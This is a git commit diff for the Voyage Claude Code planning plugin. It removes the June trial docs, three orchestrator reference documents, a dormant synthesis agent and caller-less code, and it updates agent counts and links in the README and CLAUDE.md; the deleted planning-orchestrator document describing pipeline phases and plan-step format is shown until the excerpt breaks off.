chore(cleanup): remove the June trials, orchestrator docs, dormant agent, caller-less code and the fix-round chain

R4-R7 of the cleanup list (decision 188): the June trial docs and
fixtures, the three orchestrator reference docs, the dormant
synthesis-agent, code with no caller (project-discovery, bash-normalize,
fidelity-diff, test-census, the next-session prompt validator, arm B and
the --workflow flag) and the fix-round chain. Living docs repointed; the
reasons for in-session orchestration and the all-opus pin are now written
in docs/architecture.md and docs/profiles.md.

New tests/lib/living-paths.test.mjs: living tracked text names only
plugin paths that exist (seen red with 22 dead pointers before this
commit). docs/T1-cc26-delegated-orchestration.md and
lib/review/gold-scorer.mjs stay until R-b: the frozen end-state registry
names them.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
Kjell Tore Guttormsen 2026-11-07 12:51:54 +01:00
commit 8295601965
Signed by: ktg
SSH key fingerprint: SHA256:JakMjO6FTBBzN0Bhfj9saOoEjaFxlSdYuZQQpM/lF9Q
158 changed files with 308 additions and 12856 deletions

View file

@ -2,7 +2,7 @@
Voyage — a contract-driven Claude Code pipeline: brief, research, plan, execute, review, continue. Deep implementation planning and research with specialized agent swarms, external research, adversarial review, session decomposition, disciplined execution, and headless support.
**Design principle: Context Engineering** — build the right context by orchestrating specialized agents. Each step in the pipeline (brief → research → plan → execute) produces a structured artifact that the next step consumes. The load-bearing benefit is the parallel wall-clock + structured artifact handoffs; main-context relief is asserted-by-design, not measured (Δ ≈ 0 in the one PoC — see `docs/T1-synthesis-poc-results.md`).
**Design principle: Context Engineering** — build the right context by orchestrating specialized agents. Each step in the pipeline (brief → research → plan → execute) produces a structured artifact that the next step consumes. The load-bearing benefit is the parallel wall-clock + structured artifact handoffs; main-context relief is asserted-by-design, not measured (Δ ≈ 0 in the one PoC).
> **Architecture slot.** The plan command auto-discovers `architecture/overview.md` if present — any compatible producer plugs in (the architect plugin is no longer publicly distributed). Migration history (v3.0.0 extraction) → [CHANGELOG.md](CHANGELOG.md).
@ -99,9 +99,6 @@ Full flag reference for each command (modes, `--gates`, `--profile`, breaking ch
| Agent | Model | Role |
|-------|-------|------|
| planning-orchestrator | opus | Inline reference documentation for the planning pipeline workflow (brief-driven) |
| research-orchestrator | opus | Inline reference documentation for the research pipeline workflow |
| review-orchestrator | opus | Inline reference documentation for the review pipeline workflow |
| architecture-mapper | opus | Codebase structure, tech stack, patterns |
| dependency-tracer | opus | Import chains, data flow, side effects |
| task-finder | opus | Task-relevant files, functions, reuse candidates |
@ -118,13 +115,12 @@ Full flag reference for each command (modes, `--gates`, `--profile`, breaking ch
| scope-guardian | opus | Scope alignment (creep + gaps) |
| session-decomposer | opus | Splits plans into headless sessions with dependency graph |
| step-implementer | opus | `/trekexecute` step helper — one fresh helper per plan step: test first, proof of red, test lock, then exactly the step's Changes; ran / saw / did-NOT-check report (no Agent tool) |
| synthesis-agent | opus | Distills Phase-5/7 exploration outputs into a findings digest (NW3 PoC — **dormant**, not wired; delegating Phase 7 alone yields Δ main-context ≈ 0, see `docs/T1-synthesis-poc-results.md`) |
| docs-researcher | opus | Official documentation, RFCs, vendor docs (Tavily, MS Learn) |
| community-researcher | opus | Community experience: issues, blogs, discussions |
| security-researcher | opus | CVEs, audit history, supply chain risks |
| contrarian-researcher | opus | Counter-evidence, overlooked alternatives |
> **Inventory (S33 reconcile, updated wave 1).** 24 agent files = **21 spawnable** (one, `synthesis-agent`, ships **dormant** — Δ≈0, wired to nothing) **+ 3 orchestrator reference docs** (`planning-/research-/review-orchestrator` document the inline `/trek*` workflow, not spawnable capabilities). All 24 stay `model: opus` (operator pin `40d8742`); the glue/mechanical/retrieval/dormant roles were reconsidered for a sonnet downgrade and **kept opus** — decision record: `docs/voyage-vs-cc-balance-analysis.md` §10.
> **Inventory.** 20 agent files, **all 20 spawnable**. All 20 stay `model: opus` (operator pin `40d8742`); why → `docs/profiles.md` §Model & effort axes.
> **Model & effort.** On the Anthropic API, `opus` = Opus 5.5 and `sonnet` = Sonnet 5.5 (both default reasoning effort `medium`); `fable` = Fable 5.1 (the most capable model in Claude Code; default `high`, so xhigh must be chosen explicitly). An agent without `effort:` inherits the session level. Nine agents pin native per-spawn `effort: high` and the rest follow the session; none pins below `high` — a different axis from brief `phase_signals.effort` (orchestration shape: which agents/passes run). Per-agent table + axes → `docs/profiles.md` §Model & effort axes.
@ -140,7 +136,7 @@ Full flag reference for each command (modes, `--gates`, `--profile`, breaking ch
| `voyage:annotating` | The operator-annotation loop: the person writes every note, Claude none; Fix/Change edit only the quoted text, a Question is answered and changes nothing; the approval an edit costs is said first (stale brief intent → `/trekplan` halts; changed plan → K2, `/trekexecute` refuses); page rebuilt after the revision; research documents on request | `/trekbrief`, `/trekplan`, `/trekreview` name it where they build the page |
| `voyage:writing-criteria` | Each criterion / `Verify:` / `Regression:` / `End-to-end:` is one command the criteria runner accepts, as the line's first backticked span; anything more is `bash tests/<name>.sh`; it must be able to go red (runner deterministic, go-red prose only) | `brief-reviewer` + `plan-critic` `skills:` (preload); `/trekplan` names it |
> **Commands are the trunk** (operator, 06.10). A skill is preloaded into a helper or named by a command (`voyage:<name>`); no skill sets `disable-model-invocation`; the one command that does is `/trekendsession`, operator-typed only (Claude Code still lets the operator type it; the model cannot start it). Form = S1, checked by `lib/skills/skill-lint.mjs`; `lib/skills/routing.mjs` is the model-free routing test over skills + 7 commands + 21 spawnable agents (collision ≥ 0.75 fails; thresholds pinned, never lowered). Eval cases `evals/skill-*` (3 fire / 2 quiet / 1 effect) are written, not run.
> **Commands are the trunk** (operator, 06.10). A skill is preloaded into a helper or named by a command (`voyage:<name>`); no skill sets `disable-model-invocation`; the one command that does is `/trekendsession`, operator-typed only (Claude Code still lets the operator type it; the model cannot start it). Form = S1, checked by `lib/skills/skill-lint.mjs`; `lib/skills/routing.mjs` is the model-free routing test over skills + 7 commands + 20 spawnable agents (collision ≥ 0.75 fails; thresholds pinned, never lowered). Eval cases `evals/skill-*` (3 fire / 2 quiet / 1 effect) are written, not run.
> Every case in `evals/` (the test set too) carries `from=<event>`; the routing test fails one without it and reports both counts, checked for `from=` and routed; a quiet case's owner may be Claude Code's own `run` (`BUILTIN_OWNERS`, R2), outside the corpus, so only "not taken" is checked
> (P10's model-free part, R1; the release eval gate is exempted until the test set runs again). Method (red baseline first) → `docs/skills-authoring.md`.

View file

@ -34,10 +34,9 @@ Changes to this plugin must preserve:
| `commands/trekresearch.md` | The `/trekresearch` slash command — research orchestration |
| `commands/trekplan.md` | The `/trekplan` slash command — planning orchestration |
| `commands/trekexecute.md` | The `/trekexecute` slash command — execution orchestration |
| `agents/*.md` | 24 agent files (21 spawnable + 3 orchestrator reference docs) for research, exploration, review, execution, and orchestration |
| `agents/*.md` | 20 agent files, all spawnable, for research, exploration, review and execution |
| `templates/plan-template.md` | Structured plan output format |
| `templates/research-brief-template.md` | Research brief format with triangulation and confidence |
| `templates/spec-template.md` | Spec file format |
| `templates/session-spec-template.md` | Session spec format for a session the user opens |
The command files are the core. All logic lives in markdown.

View file

@ -1,37 +0,0 @@
# Migration
v3.x → v4.0.0 is a rebrand. All command names changed:
`/ultrabrief-local` → `/trekbrief`, `/ultraresearch-local` → `/trekresearch`,
`/ultraplan-local` → `/trekplan`, `/ultraexecute-local` → `/trekexecute`,
`/ultrareview-local` → `/trekreview`, `/ultracontinue-local` → `/trekcontinue`,
`/ultraplan-end-session-local` → `/trekendsession`. The plugin is now
named `voyage`. Re-fork from main if upgrading. There is no migration
path — see [`GOVERNANCE.md`](https://git.fromaitochitta.com/open/ktg-plugin-marketplace/src/branch/main/GOVERNANCE.md) for the fork-and-own model.
Prior version migration notes (v1→v2, v2→v3) are preserved in
`CHANGELOG.md` only.
## review_version 1.2 (from the next release)
`review.md` moves from `review_version: "1.1"` to `"1.2"`. Everything new is
optional, and each field or section is checked for its shape only when it is
present:
- frontmatter `round`, `round_base`, `review_policy`, `review_policy_note`,
`review_policy_sha256` and `finalized`;
- in the trailing JSON block, per finding `pre_existing`, `carried_from` and
`instruction_ref`, and at the top level `pre_existing_counts`, `resolved`
and `ran`;
- the sections `## Answers` (the operator's answer to each counting MAJOR),
`## Pre-existing` and `## Resolved since round <n>`;
- three `## Declined to Judge` reasons: `policy:skip`, `policy:cap` and
`instruction-out-of-set`.
N-1 window: a 1.1 review validates unchanged for one minor version, and only
with a warning after that. No reader fails on a 1.1 review: the validator,
`/trekplan` and the verdict gate all read it.
Gate change: a WARN opens the merge only when the verdict gate finds every
counting MAJOR answered. That holds for a 1.1 review too, so a 1.1 WARN with a
MAJOR keeps the merge lock closed until the MAJOR is answered; a 1.1 WARN
without a MAJOR is read as before.

View file

@ -129,7 +129,7 @@ Concrete capabilities, observable in the code — not aspirations.
- Schema discipline. `plan-validator --strict` enforces `### Step N:` form and rejects narrative drift (`### Fase`, `### Phase`, `### Stage`, `### Steg`) before execution.
- Audit trail by construction. Every executed step records `commit_sha`, `verify_passed`, `files_changed` in `progress.json`.
**Solo developer.** Plans survive across sessions; adversarial review (plan-critic + scope-guardian) catches your own tunnel vision before code is written; brief-phase forces clarity on what the task actually is. `examples/01-add-verbose-flag/` shows what good shape looks like.
**Solo developer.** Plans survive across sessions; adversarial review (plan-critic + scope-guardian) catches your own tunnel vision before code is written; brief-phase forces clarity on what the task actually is.
**Team (2–10).** Plan files are handover-ready — a colleague can pick up a project directory without re-asking "what did you mean here?". `--decompose` splits a plan into self-contained session specs plus `orders.md`, one starter line per session that each person runs in a session they open. The plan-critic semantic rubric gives the team a shared definition of "this plan defers decisions to the executor".
@ -825,7 +825,7 @@ flowchart TB
`* = conditional`: convention-scanner / test-strategist on medium+ codebases (50+ files); research-scout for unknown external tech; contrarian-researcher, when selected, runs in wave 2 after wave 1 returns, with the leading answer of wave 1's external findings to attack (with `--engine deep-research`, when the engine is active, after the engine returns, from the leading answer of its report), always at `effort=high`; brief-conformance-reviewer skipped under `--quick`.
> **Which Claude Code primitive each phase uses — and the alternatives considered (Workflow substrate, delegated orchestrator, dormant synthesis-agent)** → see [docs/architecture.md §Primitives per step](docs/architecture.md#primitives-per-step-decision-matrix).
> **Which Claude Code primitive each phase uses — and the alternatives considered (Workflow substrate, delegated orchestrator)** → see [docs/architecture.md §Primitives per step](docs/architecture.md#primitives-per-step-decision-matrix).
All artifacts live under `.claude/projects/{YYYY-MM-DD}-{slug}/`.
@ -898,7 +898,7 @@ An opt-in upstream architect plugin (not bundled) can insert a Claude-Code-speci
## Upgrading
Migration notes for breaking changes live in [CHANGELOG.md](CHANGELOG.md) and [MIGRATION.md](MIGRATION.md). The last breaking release is v6.0.0: Voyage no longer starts Claude Code sessions, so multi-session work comes back as session orders you start yourself. Since v6.3.0 every CHANGELOG section says under `### Doors` whether each delivery is a one-way or a two-way door, and which changes ask something of users. Older brief, plan and review versions keep validating; newer rules apply from the version that introduced them.
Migration notes for breaking changes live in [CHANGELOG.md](CHANGELOG.md). The last breaking release is v6.0.0: Voyage no longer starts Claude Code sessions, so multi-session work comes back as session orders you start yourself. Since v6.3.0 every CHANGELOG section says under `### Doors` whether each delivery is a one-way or a two-way door, and which changes ask something of users. Older brief, plan and review versions keep validating; newer rules apply from the version that introduced them.
## Releasing and rolling back
@ -934,7 +934,7 @@ Borrowed pattern from `llm-security` (commit `97c5c9d`); extending the plugin sh
### PreCompact resume integrity (CC v2.1.105+)
The `pre-compact-flush.mjs` hook directly fixes the documented P0 in `docs/trekexecute-v2-observations-from-config-audit-v4.md`: in skill-driven execution, `progress.json` could fall behind git reality before context compaction, breaking `/trekexecute --resume` after long conversations. The hook fires on every PreCompact event, locates any `progress.json` under `.claude/projects/`, compares stored `current_step` against `git log --oneline {session_start_sha}..HEAD`, and atomically writes a fresh checkpoint (`tmp + rename`, monotonic only) when git is ahead. Never blocks compaction.
The `pre-compact-flush.mjs` hook directly fixes a documented P0: in skill-driven execution, `progress.json` could fall behind git reality before context compaction, breaking `/trekexecute --resume` after long conversations. The hook fires on every PreCompact event, locates any `progress.json` under `.claude/projects/`, compares stored `current_step` against `git log --oneline {session_start_sha}..HEAD`, and atomically writes a fresh checkpoint (`tmp + rename`, monotonic only) when git is ahead. Never blocks compaction.
## Known limitations
@ -996,8 +996,7 @@ Top-level layout:
```
voyage/
├── agents/ 24 specialized agents (all `model: opus`-pinned; per-phase model set by `--profile`)
│ └ 21 spawnable (1 dormant: synthesis-agent, Δ≈0) + 3 orchestrator reference docs (not spawned)
├── agents/ 20 specialized agents, all spawnable (all `model: opus`-pinned; per-phase model set by `--profile`)
├── commands/ 6 slash commands (trekbrief, trekresearch, trekplan, trekexecute, trekreview, trekcontinue) + trekendsession helper
├── skills/ 7 skills (test-first, debugging: preloaded into the step helper; researching-sources: preloaded into the five web-search agents;
│ └ reviewing-adversarially: the review agents; writing-criteria: brief-reviewer, plan-critic; interviewing: named by /trekbrief;
@ -1007,7 +1006,7 @@ voyage/
├── lib/ Zero-dep parsers and validators (CLI shims under lib/validators/)
├── tests/ comprehensive node:test suite — `npm test` is the fork-readiness gate
├── docs/ HANDOVER-CONTRACTS.md, architecture.md, operations.md, profiles.md, command-modes.md, release-runbook.md
└── examples/ 01-add-verbose-flag/ — calibrated end-to-end pipeline demo
└── examples/ 02-real-cli/ — runnable pipeline fixture
```
Pure markdown commands and agents. Hooks and validators are self-contained Node.js with zero npm dependencies. See [CONTRIBUTING.md](CONTRIBUTING.md) for the full file inventory.
@ -1031,8 +1030,7 @@ synthesis.
Every shipped agent is `model: opus`; the profile picks the model at
the spawn site, so the pin is only the fallback.
3. Add the agent to the swarm in `commands/trekplan.md` Phase 5
(the command runs the swarm inline; `agents/planning-orchestrator.md`
is a reference copy of that workflow) — register it under the
(the command runs the swarm inline) — register it under the
codebase-size bucket where it should fire.
4. Update the agent table in `CLAUDE.md` and the agent count in the
`README.md` architecture block to keep the doc-consistency test green:

View file

@ -1,514 +0,0 @@
---
name: planning-orchestrator
description: Reference document, not a spawnable capability — documents the /trekplan planning workflow that runs inline in main context (full rationale, CC-2.1.172 history, and phase map in body).
model: opus
color: cyan
tools: ["Read", "Glob", "Grep"]
---
<!-- Phase mapping: orchestrator → command
Orchestrator Phase 1 = Command Phase 4 (Codebase sizing)
Orchestrator Phase 1b = Command Phase 4b (Brief review)
Orchestrator Phase 2 = Command Phase 5 (Parallel exploration)
Orchestrator Phase 3 = Command Phase 6 (Targeted deep-dives)
Orchestrator Phase 4 = Command Phase 7 (Synthesis)
Orchestrator Phase 5 = Command Phase 8 (Deep planning)
Orchestrator Phase 6 = Command Phase 9 (Adversarial review)
Orchestrator Phase 7 = Command Phase 10 (Completion)
As of v2.4.0, /trekplan runs these phases inline in main context
instead of spawning this agent. Keep this file as the canonical
reference for what those phases do. -->
This document is the canonical workflow description for the trekplan
pipeline as of v2.4.0. The `/trekplan` command reads it as reference
and executes the phases below **inline in the main command context**. It was
moved out of background sub-agent mode because, before Claude Code 2.1.172,
that mode silently lost the Agent tool and degraded the exploration swarm to
single-context reasoning. As of CC 2.1.172 sub-agents can spawn sub-agents
(up to 5 levels deep), so this constraint no longer holds; a
delegated-orchestration redesign is under evaluation (see
`docs/cc-upgrade-2.1.181-decision-matrix.md`, W1/CC-26). Until then,
orchestration stays inline.
The role of the "orchestrator" now belongs to the command markdown itself:
the main Opus session launches exploration and review agents via the Agent
tool, collects their results, synthesizes the plan, and writes it to disk.
## Input
You will receive a prompt containing:
- **Brief file path** — the task brief (produced by `/trekbrief`)
- **Project dir** (optional) — path to an trekbrief project folder when the user
invoked `/trekplan --project`. If set, the plan destination is
`{project_dir}/plan.md` and any `{project_dir}/research/*.md` files are
pre-existing research briefs to read.
- **Task description** — one-line summary (matches the brief's frontmatter `task`)
- **Plan file destination** — where to write the plan
- **Plugin root** — for template access
- **Mode** (optional) — if `mode: quick`, skip the agent swarm and use lightweight scanning
- **Research briefs** (optional) — paths to research briefs. Includes both
auto-discovered `{project_dir}/research/*.md` files and any explicit briefs
passed via `--research`. Read each brief before launching exploration agents.
- **Architecture note** (optional) — path to `{project_dir}/architecture/overview.md`
produced by an external opt-in architect plugin (no longer publicly distributed;
the filesystem slot remains available for any compatible producer). When provided,
this note proposes CC features (hooks, subagents, skills, MCP, etc.) the
implementation should lean on, with brief-anchored rationale and a coverage-
gap section. Missing file is fine — this is additive context, not a
requirement. Value is either an absolute path or `"none"`.
Read the brief file first. It is the contract that bounds your work. Parse its
frontmatter (`task`, `slug`, `project_dir`, `research_topics`, `research_status`)
and every section (Intent, Goal, Non-Goals, Constraints, Preferences, NFRs,
Success Criteria, Research Plan, Open Questions, Prior Attempts).
If research briefs are provided, read those too — they contain pre-built context
for the research topics the brief declared.
If an architecture note is provided (path != "none"), read it before launching
exploration agents. Treat its `cc_features_proposed` list as **priors**, not
mandates — exploration may contradict or override with evidence from the
codebase. Surface the architecture note's Open Questions inside your synthesis
so the plan addresses them.
## Your workflow
Execute these phases in order. Do not skip phases.
### Phase 1 — Codebase sizing
Run via Bash:
```
find . -type f \( -name "*.ts" -o -name "*.tsx" -o -name "*.js" -o -name "*.jsx" -o -name "*.py" -o -name "*.go" -o -name "*.rs" -o -name "*.java" -o -name "*.rb" -o -name "*.c" -o -name "*.cpp" -o -name "*.h" -o -name "*.cs" -o -name "*.swift" -o -name "*.kt" -o -name "*.sh" -o -name "*.md" \) -not -path "*/node_modules/*" -not -path "*/.git/*" -not -path "*/vendor/*" -not -path "*/dist/*" -not -path "*/build/*" | wc -l
```
Classify:
- **Small** (< 50 files)
- **Medium** (50–500 files)
- **Large** (> 500 files)
Codebase size decides only whether convention-scanner runs.
### Phase 1b — Brief review
Launch the **brief-reviewer** agent before exploration:
Prompt: "Review this task brief for quality: {brief path}. Check completeness,
consistency, testability, scope clarity, and research-plan validity. Report
findings and verdict."
Handle the verdict:
- **PROCEED** — continue to Phase 2.
- **PROCEED_WITH_RISKS** — continue, but carry the flagged risks as `[ASSUMPTION]`
entries in the plan.
- **REVISE** — if running in foreground mode, present findings to the user and ask
for clarification. If running in background, carry all findings as `[ASSUMPTION]`
entries and note "Brief had quality issues — review assumptions before executing."
### Phase 2 — Parallel exploration
**If mode = quick:** Do NOT launch any exploration agents. Run a lightweight
file check instead:
- `Glob` for files matching key terms from the brief's Intent/Goal (up to 3 patterns)
- `Grep` for function/type definitions matching key terms (up to 3 patterns)
Report: "Quick mode: lightweight file scan only. {N} files identified."
Skip Phase 3 (deep-dives). Proceed directly to Phase 4 (Synthesis) with
scan results only.
---
**All other modes:** Launch exploration agents **in parallel** using the Agent
tool. Use specialized agents from the plugin.
**All agents run for all codebase sizes.**
| Agent | Small | Medium | Large | Purpose |
|-------|-------|--------|-------|---------|
| `architecture-mapper` | Yes | Yes | Yes | Codebase structure, patterns, anti-patterns |
| `dependency-tracer` | Yes | Yes | Yes | Module connections, data flow, side effects |
| `risk-assessor` | Yes | Yes | Yes | Risks, edge cases, failure modes |
| `task-finder` | Yes | Yes | Yes | Task-relevant files, functions, types, reuse candidates |
| `test-strategist` | Yes | Yes | Yes | Test patterns, coverage gaps, strategy |
| `git-historian` | Yes | Yes | Yes | Recent changes, ownership, hot files, active branches |
| `research-scout` | Conditional | Conditional | Conditional | External docs (only when unfamiliar tech detected AND not covered by briefs) |
| `convention-scanner` | No | Yes | Yes | Coding conventions, naming, style, test patterns |
**Convention Scanner** — use the `convention-scanner` plugin agent (model: phase_signal_result.model, the agent's frontmatter as the fallback)
for medium+ codebases only. Pass the task description as context.
**research-scout** — launch conditionally if the task involves technologies, APIs,
or libraries that are not clearly present in the codebase, being upgraded to a new
major version, or being used in an unfamiliar way. **If research briefs are provided:**
check whether the technology is already covered in the briefs. Only launch
research-scout for technologies NOT covered. If the brief's
`research_status == complete` and every Research Plan topic has a corresponding
research brief, skip research-scout entirely.
For each agent, pass the task description and relevant context from the brief
(Intent, Goal, Constraints).
### Research-enriched exploration
When research briefs are provided, inject a summary into each agent's prompt:
> "Pre-existing research is available for this task. Key findings:
> {2-3 sentence summary of the brief's executive summary and synthesis}.
> Focus your exploration on areas NOT covered by this research.
> Validate or contradict research claims where your findings overlap."
Do NOT inject the full brief into sub-agent prompts — it would consume too much
context. Summarize to 2-3 sentences per brief. The orchestrator (you) holds the
full brief in context for synthesis.
### Phase 3 — Targeted deep-dives
Review all agent results. Identify knowledge gaps — areas too shallow for confident
planning. Launch up to 3 targeted deep-dive agents (Sonnet, Explore) with narrow briefs.
If no gaps exist, skip: "Initial exploration sufficient — no deep-dives needed."
### Phase 4 — Synthesis
Synthesize all findings:
1. Merge overlapping discoveries
2. Resolve contradictions between agents
3. Build complete codebase mental model
4. Catalog reusable code
5. Integrate research findings (mark source: codebase vs. research)
6. **If research briefs provided:** cross-reference agent findings with pre-existing
brief. Flag agreements (increases confidence) and contradictions (needs resolution).
Incorporate brief recommendations into planning context.
7. **If an architecture note is provided:** cross-reference agent findings with
the note's `cc_features_proposed`. For each proposed feature, check whether
exploration confirms or contradicts the rationale. Proposed features that the
codebase already uses well → adopt in plan. Proposed features that conflict
with codebase patterns → surface the conflict in the plan's Alternatives
Considered section and choose based on evidence, not the note alone. Include
the note's Coverage gaps in Risks and Mitigations when relevant to the task.
8. Note remaining gaps as explicit assumptions
9. **Map brief sections → plan sections:**
- Brief Intent → plan Context (motivation paragraph)
- Brief Goal → plan Context (end state)
- Brief Constraints/Preferences/NFRs → inputs to Implementation Plan decisions
- Brief Success Criteria → plan Verification section (reuse verbatim)
- Brief Open Questions → plan Risks and Mitigations (or `[ASSUMPTION]` markers)
- Brief Prior Attempts → plan Alternatives Considered (if relevant)
Internal context only — do not write to disk.
### Phase 5 — Deep planning
Read the brief file for requirements context (you already did this in Input).
Read the plan template from the plugin templates directory.
Write a comprehensive implementation plan including:
- **Context** — use the brief's Intent verbatim or tightly paraphrased. Every plan
motivation sentence must trace back to the brief.
- **Codebase Analysis** — findings from exploration agents, file paths, reusable code
- **Research Sources** — cite all research briefs used, plus any research-scout output
- **Implementation Plan** — ordered steps with file paths, changes, reuse
- **Alternatives Considered** — at least one alternative with pros/cons
- **Risks and Mitigations** — from risk-assessor + brief's Open Questions
- **Test Strategy** — from test-strategist (if used)
- **Verification** — reuse the brief's Success Criteria as the baseline; each
criterion must be an executable command or observable condition
- **Estimated Scope** — file counts and complexity
**Plan-version header:** Include `plan_version: 1.9` and the brief's
`ceremony:` in the metadata line below the title. This signals to trekexecute
that the plan includes per-step verification manifests and enables strict
audit mode. Plans without this marker are treated as legacy v1.6 with
synthesized minimal manifests. 1.8 adds `Test first:` on every step, one
`End-to-end:` step, the optional `Interface in:` / `Interface out:` /
`Review focus:` fields and, for an architectural plan, `## Design`
(`commands/trekplan.md` Phase 8 is the full text). 1.9 adds the file first on
every line: each `Files:` entry and each `Test first:` `File:` line opens with
its backticked path(s), and everything after the first other text is
description, so every path stands before any annotation
(`` `src/a.mjs`, `src/b.mjs` (new) ``, never `` `src/a.mjs` (new), `src/b.mjs` ``).
1.8 and 1.7 plans stay valid.
### Mandatory step format — copy this exactly
The Implementation Plan section MUST contain numbered steps using the EXACT
format shown below. The executor (`trekexecute`) parses plans with
strict regex matching. Any deviation breaks parsing and forces the user to
re-run planning.
**FORBIDDEN heading formats** (the executor's parser rejects these):
- `## Fase 1`, `### Fase 1` — Norwegian narrative format
- `## Phase 1`, `### Phase 1` — narrative phase format
- `## Stage 1`, `### Stage 1` — narrative stage format
- `### 1.` or `### 1)` — numbered without "Step"
- `### Step 1 —` (em-dash instead of colon)
- Any heading that doesn't match the regex `^### Step \d+: `
**REQUIRED heading format:** `### Step N: <description>` (where N is 1, 2, 3, ...
and the colon is followed by a single space then the description).
**REQUIRED step body** — every step MUST include all of these fields, in this
order, formatted as bullet points:
```markdown
### Step 1: Add JWT verification middleware
- **Files:** `src/middleware/jwt.ts`
- **Changes:** Create new middleware function `verifyJWT(req, res, next)` that reads `Authorization: Bearer <token>` header, verifies signature with `process.env.JWT_SECRET`, attaches decoded payload to `req.user`, and returns 401 on invalid/missing token. (new file)
- **Reuses:** `jsonwebtoken.verify()` (already in package.json), pattern from `src/middleware/cors.ts`
- **Test first:**
- File: `src/middleware/jwt.test.ts` (new)
- Verifies: valid token attaches user; invalid token returns 401; missing header returns 401
- Pattern: `src/middleware/cors.test.ts` (follow this style)
- **Verify:** `npm test -- jwt.test.ts` → expected: `3 passing`
- **On failure:** revert — `git checkout -- src/middleware/jwt.ts src/middleware/jwt.test.ts`
- **Checkpoint:** `git commit -m "feat(auth): add JWT verification middleware"`
- **Manifest:**
```yaml
manifest:
expected_paths:
- src/middleware/jwt.ts
- src/middleware/jwt.test.ts
min_file_count: 2
commit_message_pattern: "^feat\\(auth\\): add JWT verification middleware$"
bash_syntax_check: []
forbidden_paths:
- src/middleware/cors.ts
must_contain:
- path: src/middleware/jwt.ts
pattern: "verifyJWT"
```
```
The example above is the canonical shape. Substitute your own file paths,
descriptions, and patterns — but preserve the exact heading format, bullet
field names, and Manifest YAML structure. Do not invent new field names. Do
not skip fields. Do not nest steps under sub-headings.
### Manifest generation rules (REQUIRED for every step)
Every implementation step MUST include a `Manifest:` block as its last field,
after Checkpoint. The manifest is the objective completion predicate — the
machine-checkable contract that trekexecute will verify after the
Verify command passes. A step cannot be marked passed if its manifest does
not verify.
Derive the manifest fields mechanically from the step's other fields:
- **expected_paths** ← copy the step's `Files:` list verbatim. Each path must
either exist in the repo OR be explicitly marked `(new file)` in the step's
Changes prose. Do not list paths that neither exist nor are declared new.
- **min_file_count** ← default to `len(expected_paths)`. Lower only when the
step explicitly allows partial creation (rare).
- **commit_message_pattern** ← regex-escape the fixed parts of the Checkpoint
commit message. Preserve Conventional Commit structure. Example:
Checkpoint `git commit -m "feat(auth): add JWT middleware"` →
pattern `"^feat\\(auth\\):"`. The pattern must compile as a valid regex and
must match the declared Checkpoint message.
- **bash_syntax_check** ← auto-include every `.sh` file appearing in
expected_paths. Add other shell scripts the step creates transitively.
- **forbidden_paths** ← populate from the Execution Strategy's "Never touch"
scope-fence for this step's session (when present). Defense-in-depth.
- **must_contain** ← optional. Add `path + pattern` pairs when the step must
produce specific markers in a file (e.g., a new config section, a required
export, a migration boundary).
**Validation before writing plan:**
1. Every `expected_paths` entry is either verifiable (file exists) or marked
`(new file)` in prose.
2. Every `commit_message_pattern` compiles as a regex and matches the declared
Checkpoint message when applied to it.
3. Every `bash_syntax_check` entry has a `.sh` suffix and appears in
`expected_paths`.
4. No `forbidden_paths` overlaps with `expected_paths` (contradiction).
If any validation fails, fix the plan before handing to Phase 6 review.
### Phase 5.5 — Schema self-check (REQUIRED before Phase 6)
After writing the plan file, verify the output conforms to the executor's
parser BEFORE handing to plan-critic. Run the plan validator:
```bash
node ${CLAUDE_PLUGIN_ROOT}/lib/validators/plan-validator.mjs --strict --json "$plan_path"
```
**Pass criteria:** validator exits 0 with `valid: true` in its JSON output.
Internally the validator enforces (same checks as before, now in one place):
- Step count ≥ 1, numbering is 1..N contiguous
- Per-step Manifest YAML present, parses, and `commit_message_pattern` compiles
- Step count == manifest count
- Zero forbidden narrative headings (`### Fase N`, `### Phase N`, `### Stage N`,
`### Steg N`)
- `plan_version` 1.7, 1.8 or 1.9 declared (warning only if older / missing)
- From 1.8: `Test first:` per step, an `End-to-end:` step, non-empty optional
fields, a valid `ceremony`, and the design part for an architectural plan
Each error has a `code` field — read these to localize the fix. Common codes:
- `PLAN_FORBIDDEN_HEADING` — narrative drift; rewrite the section using the
literal template from Phase 5
- `PLAN_MANIFEST_COUNT_MISMATCH` — at least one step lost its manifest block
- `MANIFEST_PATTERN_INVALID` — a `commit_message_pattern` does not compile;
check escaping (use `\\(` not `\(` in YAML double-quoted strings)
- `PLAN_STEP_NUMBERING` — steps skip a number; renumber sequentially
**If the plan fails schema self-check:** rewrite the offending section using
the exact literal template shown earlier in Phase 5. Do NOT proceed to Phase 6
with a schema-failing plan — plan-critic cannot repair format drift, only
content issues.
### Failure recovery (REQUIRED for every step)
Each implementation step MUST include:
- **On failure:** — what to do when verification fails. Choose one:
- `revert` — undo this step's changes, do NOT proceed to next step
- `retry` — attempt once more with described alternative, then revert if still failing
- `skip` — step is non-critical, continue to next step and note the skip
- `escalate` — stop execution entirely, requires human judgment
- **Checkpoint:** — a git commit command to run after the step succeeds.
Format: `git commit -m "{conventional commit message}"`
These fields enable headless execution where no human is present to make
recovery decisions. Default to `revert` when uncertain — it is always safe.
### Execution strategy (for plans with > 5 steps)
If the plan has more than 5 implementation steps, generate an `## Execution Strategy`
section that groups steps into sessions and organizes sessions into waves.
**Analysis:**
1. For each step, extract the files from its `Files:` field
2. Build a file-overlap graph: two steps share a file → they are dependent
3. Identify connected components: steps that share files (directly or transitively) must be in the same session
4. Group connected components into sessions of 3–5 steps each
5. Determine waves: sessions with no inter-session dependencies → same wave (parallel). Sessions depending on other sessions → later wave
**Session spec per session:**
- Steps: list of step numbers
- Wave: which wave this session belongs to
- Depends on: which sessions must complete first
- Scope fence: Touch (files this session modifies) and Never touch (files other sessions modify)
**Execution order:**
- Wave 1: all sessions with no dependencies
- Wave 2: sessions depending on Wave 1
- Wave N: sessions depending on earlier waves
If ALL steps share files (single connected component), produce one session
with all steps — no parallelism. This is fine.
If the plan has ≤ 5 steps, omit the Execution Strategy section entirely.
### Write the plan
Use the destination path from your input:
- If `Project dir:` is provided: write to `{project_dir}/plan.md`.
- Otherwise: write to the explicit `Plan destination` path.
Create parent directories if needed.
### Phase 6 — Adversarial review
Launch two review agents **in parallel — emit both Agent tool calls in a
single assistant message turn** (same pattern as Phase 5 exploration). They
have zero data dependencies; serializing them wastes 30–60 seconds per run.
- `plan-critic` — find missing steps, wrong ordering, fragile assumptions,
missing error handling, scope creep, underspecified steps, AND manifest
quality (dimension 10: every step has a valid, regex-compilable,
